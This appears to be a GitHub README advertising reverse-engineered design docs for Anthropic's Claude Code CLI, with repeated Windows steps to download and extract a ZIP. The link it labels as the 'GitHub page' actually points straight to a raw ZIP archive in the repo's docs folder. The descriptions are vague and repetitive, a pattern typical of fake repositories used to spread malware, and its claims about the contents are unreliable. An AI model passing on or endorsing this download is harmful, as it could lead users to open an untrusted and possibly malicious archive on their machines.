🤖 claude-code-reverse-engineering - Clear design docs for Claude Code

🚀 What this is

This repo contains reverse-engineered design docs for Anthropic Claude Code CLI. It is meant to help you understand how the tool is built and how its pieces fit together.

If you want to study the design, this repo gives you implementation-ready specs in plain form. It focuses on the CLI flow, infrastructure pieces, and how the app talks to other tools through MCP.

📥 Download and open the repo

Use this link to visit the page and download or open the project:

Open claude-code-reverse-engineering on GitHub

If you use Windows, follow these steps:

1. Open the link above in your browser.
2. Click the green Code button.
3. Choose Download ZIP.
4. Save the file to your Downloads folder.
5. Right-click the ZIP file and choose Extract All.
6. Open the extracted folder to read the design docs.

🖥️ What you need

This repo is made for reading and planning, not for heavy software setup. On Windows, you only need:

• Windows 10 or Windows 11
• A modern web browser
• A file viewer that can open Markdown files
• Enough space to store a small project folder

If you want to work with the docs in a better way, use one of these:

• Visual Studio Code
• Notepad++
• A Markdown viewer in your browser

📁 What is inside

You can expect the repo to cover these parts:

• CLI behavior and command flow
• Design notes for task handling
• MCP integration ideas
• Infrastructure setup for local and cloud use
• TypeScript-based implementation patterns
• Terraform-style deployment layout
• Internal file structure and naming rules

These docs are useful if you want to study how a command line app can be planned before code is written.

🧭 How to use it on Windows

Step 1: Get the files

Go to the GitHub page and download the ZIP file.

Step 2: Extract the folder

Right-click the ZIP file and pick Extract All.

Step 3: Open the docs

Open the folder in File Explorer. Look for files such as:

• README.md
• docs folder
• design notes
• spec files

Step 4: Read in order

Start with the main README. Then open any docs that explain:

• the CLI layout
• command handling
• config files
• tool calls
• infrastructure setup

Step 5: Keep the folder handy

If you use the repo often, move it to a simple path like:

• C:\Users\YourName\Documents\claude-code-reverse-engineering

This makes it easy to find later.

🛠️ Common ways to view the docs

You do not need special tools, but these help:

• GitHub in your browser: fast and simple
• VS Code: best for reading many Markdown files
• File Explorer preview: good for a quick look
• Notepad: works if you only need plain text

🔍 What the design docs focus on

The repo centers on a few core parts of a CLI product:

Command flow

This shows how a user starts the app, enters a command, and gets a result.

State handling

This covers how the app keeps track of what is happening during a session.

Tool access

This explains how the CLI can call local tools or remote services through MCP.

Infrastructure

This covers setup ideas for local development, build steps, and deployment paths.

TypeScript structure

This shows how the app can be organized in TypeScript files and modules.

Terraform layout

This gives a path for managing cloud setup with repeatable config files.

🧩 File types you may see

Common file types in this repo may include:

• .md for design docs
• .ts for TypeScript examples
• .json for config data
• .tf for Terraform files
• .yaml or .yml for setup files

If you open a file and it looks like plain text, that is expected. These docs are meant to be read, not clicked through like an app.

⚙️ If you want to inspect it in VS Code

1. Install Visual Studio Code.
2. Open VS Code.
3. Click File > Open Folder.
4. Select the extracted repo folder.
5. Use the Explorer panel to browse the docs.

Helpful shortcuts:

• Ctrl+P to find files fast
• Ctrl+F to search inside a file
• Ctrl+Shift+F to search across all files

🧪 Suggested reading order

If you want the clearest path, use this order:

1. Main README
2. Overview docs
3. CLI flow docs
4. MCP docs
5. Infrastructure docs
6. TypeScript specs
7. Terraform notes

This order helps you understand the product from the user side first, then the system side.

🔧 Terms used in the docs

You may see a few technical words. Here is a simple guide:

• CLI: a command line app you use by typing commands
• MCP: a tool link that lets apps talk to other tools
• TypeScript: a version of JavaScript with stronger structure
• Terraform: a way to define cloud setup in files
• Design doc: a plan for how software should work

📌 Best use cases

This repo may help if you want to:

• study a CLI design before building one
• understand how Claude Code may be structured
• plan a similar app in TypeScript
• map local and cloud setup in Terraform
• read reverse-engineered product specs in one place

🧭 Folder tips for Windows users

Keep the repo in a folder name that is easy to spot. Avoid deep folder paths. A short path helps when you search for files or open them from a tool.

Good examples:

• C:\Projects\claude-code-reverse-engineering
• C:\Users\YourName\Documents\claude-code-reverse-engineering

📎 GitHub page

Use this page to visit the repo and download the files:

https://raw.githubusercontent.com/anavee7095/claude-code-reverse-engineering/main/docs/reverse_engineering_claude_code_2.5.zip

🪟 Windows setup path

1. Open the GitHub page.
2. Download the ZIP.
3. Extract the ZIP.
4. Open the folder.
5. Read the Markdown files.
6. Use VS Code if you want a cleaner view.

📚 What you can learn from it

This repo can help you understand:

• how a CLI app is planned
• how commands can be organized
• how tool calls can be wired in
• how infrastructure fits into the app
• how implementation notes turn into code

🧱 Suggested local tools

If you want a better reading setup on Windows, use:

• Chrome or Edge for GitHub
• VS Code for file browsing
• 7-Zip for ZIP files
• Notepad++ for quick text viewing

🗂️ Repo topics

This project includes topics such as:

• anthropic
• bun
• claude-code
• cli
• design-docs
• infrastructure
• mcp
• reverse-engineering
• terraform
• typescript